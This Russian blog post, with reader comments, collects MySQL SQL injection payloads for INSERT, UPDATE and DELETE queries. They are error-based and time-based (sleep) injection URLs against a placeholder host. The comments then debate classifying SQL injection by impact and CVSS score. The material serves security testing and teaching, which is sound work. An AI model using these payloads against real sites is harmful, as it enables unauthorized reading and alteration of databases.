Стоит сразу же отметить, что в серьезных СУБД, таких как Oracle, Microsoft SQL Server и им подобным существует возможность разделения запросов через точку с запятой. Поэтому для таких баз данных можно, например, выполнять insert, когда инъекция попадает в select-запрос и наоборот.
Рассмотрим следующие уязвимые SQL-запросы на примере insert и update, где sqli – это уязвимый параметр к проведению атаки "Внедрение операторов SQL":
Метод error-based (MySQL):
(1) http://serv/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
(2) http://serv/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))--
(3) http://serv/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
(4) http://serv/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
(5) http://serv/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
(6) http://serv/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Аналогичным образом атака может быть реализована в запросах delete, replace и пр. Как вариант, может использоваться конструкция "order by". Например:
delete from test where id = sqli;
http://serv/?sqli=1 order by (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Метод time-based (MySQL):
(1) http://serv/?sqli=1'),((if(ascii(mid('pass',1,1))=112,(sleep(10)),1)),'')--
(2) http://serv/?sqli=1,(if(ascii(mid('pass',1,1))=112,(sleep(10)),1)))--
(3) http://serv/?sqli=1,a=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1))
(4) http://serv/?sqli=1',id=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1))--
(5) http://serv/?sqli=1 order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))--
(6) http://serv/?sqli=1' order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))--
дим, хватит постить бояны, к тому же не полные ;)
ОтветитьУдалитьЭтот комментарий был удален автором.
ОтветитьУдалитьВозникает закономерный вопрос - "И чо?"
ОтветитьУдалитьЕще SQLi встречается в exec, хранимках/триггерах, и даже пару раз видел в create (в MS SQL создавались временные таблицы и хранимки)...
Сереж, "а то", что когда мне встретится SQLi в insert/MySQL я даже думать не буду, а зайду сюда и сделаю copy/paste.
ОтветитьУдалитьto Анонимный:
буду благодарен за полный баян на эту тему ;)
Вообще, если честно, данный пост появился на мысли "а имеет ли смысл разделять SQL-инъекции по возможностям: Selection-based, Modification-based, Execution-based" из рассылки WASC.
ОтветитьУдалитьДа ладно, чего вы набросились... Баяны, баяны. Вот начинающий вайтхет прочитает блог Димы от начала и до конца и перестанет быть начинающим. Пользы от такого блога в миллион пицот раз больше, чем от блогов на тему "как же хреново жить то, какие все старперы в ИБ, какие все идиоты, один я Д'Артаньян".
ОтветитьУдалитьTouzoku, спасибо за поддержку! :)
ОтветитьУдалитьИмхо разделять смысл всё же имеет, т.к. в скулях в инсертах/апдейтах появляются дополнительные возможности и нюансы при записи. Не только же читать данные :)
ОтветитьУдалитьда, я тоже пришел к этому выводу, что следует добавить разделение по типу воздействия на среду...
ОтветитьУдалить>что следует добавить разделение по типу воздействия на среду...
ОтветитьУдалитьДимч, ты опять "мускульно" мыслишь. Пора избавляться от этого лампового наследия :)))
"Воздействие" на "среду" в основном определяется дизайном приложения, а не тем местом, куда ты попадаешь в запросе. Вспомни base64 encoded stored proc в postgreS :)
Т.е. использование mysql 3 вместо ms sql серьезно снижает потенциально воздействие, ибо мускуль убог :)
Применение же "не sa", разделение учетных записей для записи/чтения, а также грамотное использование базовых (пермишены/роли) + дополнительных механизмов разграничения доступа (а-ля ownership chain в ms sql) вполне может свести "воздействие" на "среду" к ипичному "селекту того что уже и так в паблике".
:) так я и говорю про дизайн и механизмы защиты (разграничения доступа, минимизация привилегий, etc). какая разница, куда мы попадаем, если мы можем читать и изменять данные в обход логики работы приложения? правильно! разница есть только с позиций атакующего, когда под MySQL проведение атаки может быть затруднительным, если инъекция попадает в insert, например.
ОтветитьУдалитьПод Selection-based я понимаю, что атакующий способен только читать обрабатываемые данные на сервере в обход логики работы приложения, а не то, что инъекция попадает в SELECT запрос.
Это я к чему, собственно.
ОтветитьУдалитьСмысл смешивать impact с уязвимостью и атакой? Понятно, что у каждой атаки есть потенциальные последствия (или пусть "степень риска"). Причем их много :) И зависят они от огромного количества факторов, влоть до настроения атакующего и текущего уровня развития передовой хакерской мысли. Не говоря уже о фазе луны.
Единственное что мне удалось придумать в этом направлении (к стати, в WASC TCv2 не вошло :() это выделить два типа impact: технический и нетехнический.
Технический - тут все просто - берем CIA, CVSSv2 и считаем два варианта - максимальный и типичный. Например для SQLi относительно системы/приложения это будет что-то типа:
Max
(AV:N/AC:L/Au:N/C:C/I:C/A:C) = 10
Typical
(AV:N/AC:L/Au:N/C:P/I:P/A:P) = 7.5
Нетехнический (бызнес импакт) - это типичные последствия для бызнеса, например - dataloss, malware infection и все такое. Можно взять например, из WASC WHID. Где-то валяется - напомни, скину.
А иньекция, позволяющая брутить пароли и сканировать порты на удаленных серверах а-ля http://www.securiteam.com/tools/5FP0F20FPK.html она что будет нетвок коннектион унд брутефорс байзед?
ОтветитьУдалитьдумаю некорректно обобщенно считать с Exploitability Metrics т.к. они заранее не известны. Поэтому, Typical у SQLi тогда - (C:P/I:P/A:P) = 6.4 (Impact Subscore)
ОтветитьУдалитьмой вижен (больше приближен к реалиям SQLi):
В зависимости от множества факторов критичность уязвимости "Внедрение операторов SQL" по CVSS колеблется от 0 до 10. Для проведения обобщенной оценки могут использоваться следующие типы воздействия на среду при реализации атаки "Внедрение операторов SQL":
Selection-based – атакующий способен только читать обрабатываемые данные на сервере в обход логики работы приложения. Impact Subscore (C:C/I:N/A:P) 7.8
Modification-based – атакующий способен только изменять или удалять данные на сервере в обход логики работы приложения. Impact Subscore (C:N/I:C/A:C) 9.2
Execution-based – атакующий способен выполнять команды на сервере в обход логики работы приложения. Impact Subscore (C:C/I:C/A:C) 10
Для всех случаев, когда происходит пересечение возможного доступа к данным (например, чтение и изменение) конечный уровень критичности уязвимости "Внедрение операторов SQL" по CVSS, без учета метрик эксплуатации (AccessVector/AccessComplexity/Authentication), будет равен 10 (C:C/I:C/A:C).
>> иньекция, позволяющая брутить пароли
ОтветитьУдалитьSelection-based - доступ к данным на чтение
>> сканировать порты на удаленных серверах
что там? привилегии sa требуются?:) - это Execution-based
ЗЫ: можно добавить еще "Not classified" 0.0 (C:N/I:N/A:N), например, когда права у пользователя существенно ограничены... а можно, например, только делать dns-резолвинг.
ОтветитьУдалить>http://msdn.microsoft.com/en-us/library/ms190312.aspx
ОтветитьУдалитьНет, не требуются ;) Но через нее я как-то sa'шный пароль брутил :))) Токмо не на vbscript :)
http://msdn.microsoft.com/en-us/library/ms190312.aspx (раздел пермешены).
И?
В общем совершенно невнятная классификация.
>ЗЫ: можно добавить еще "Not classified"
ОтветитьУдалитьа симысел?
Я думаю, любому разумному человеку понятно, что бывают ситуации, когда уязвимость та вроде и есть, а реальная степень риска - нуль целых и нуль десятых. Т.е. нижняя грань всегда понятна.
И что мы все про sqli и про sqli - давай более смешной пример - CSRF, где "уязвимость" как таковая присутствует только "если сайту это надо", а степень риска вообще зависит от конкретной ссылки и ... :)
>а можно, например, только делать dns-резолвинг.
ОтветитьУдалитьА это как раз был пример "вплоть до настроения атакующего и текущего уровня развития передовой хакерской мысли. Не говоря уже о фазе луны." :))
хе-хе))) после недолгих размышлений на тему приспособления этого к "жизни"... в общем, убедил, полезности с такой классификации не будет. Достаточно двух метрик:
ОтветитьУдалитьTypical (default) - (C:P/I:P/A:P) 6.4
И Max - (C:C/I:C/A:C) 10
>думаю некорректно обобщенно считать с
ОтветитьУдалить>Exploitability Metrics т.к. они заранее
>не известны.
>Поэтому, Typical у SQLi тогда -
>(C:P/I:P/A:P) = 6.4 (Impact Subscore)
Ну согласись, что SQLi все-таки в большинстве случаев удаленная уязвимость и эксплуатировать ее легко?
>Selection-based – атакующий способен только
>читать обрабатываемые данные на сервере в
> обход логики работы приложения.
>Impact Subscore (C:C/I:N/A:P) 7.8
простите, а откуда здесь частично афекченная доступность? benchmark? дык это тогда execution-based получается, ведь benchmark це функция :).
>Modification-based – атакующий способен только
>изменять или удалять данные на сервере в обход
>логики работы приложения.
>Impact Subscore (C:N/I:C/A:C) 9.2
... и никакого селекта? И как часто ты такое встречал?
>Execution-based – атакующий способен выполнять
> команды на сервере в обход логики работы
>приложения. Impact Subscore (C:C/I:C/A:C) 10
А если есть только select но вытащил пароль cms, подошедший к root shell :)?
>Для всех случаев, когда происходит пересечение >возможного доступа к данным (например, чтение >и изменение) ... будет равен 10 (C:C/I:C/A:C).
А если только select/insert? и A:N получаетцо?
>Достаточно двух метрик
ОтветитьУдалитьНу спасибо, спас меня от вбивания страницы текста :)
А в случаях "когда об данной конкретной уязвимости известно все" можно и персональный CVSS пощитать + бызнес ымпакт приплексти из контекста. Если нужно, конечно.
>> Ну согласись, что SQLi все-таки в большинстве случаев удаленная уязвимость и эксплуатировать ее легко?
ОтветитьУдалитьключевое слово "в большинстве случаев", т.е. не всегда. следовательно низя просто так подняться...
>> Impact Subscore (C:C/I:N/A:P) 7.8
>> простите, а откуда здесь частично афекченная >> доступность? benchmark? дык это тогда execution-based получается, ведь benchmark це функция :).
benchmark не позволяет выполнять команды на сервере.
>> А если только select/insert? и A:N получаетцо?
я же уже согласился, что классификация не получилась:) так что...
в продолжение темы: SQL Injection
ОтветитьУдалитьAnywhere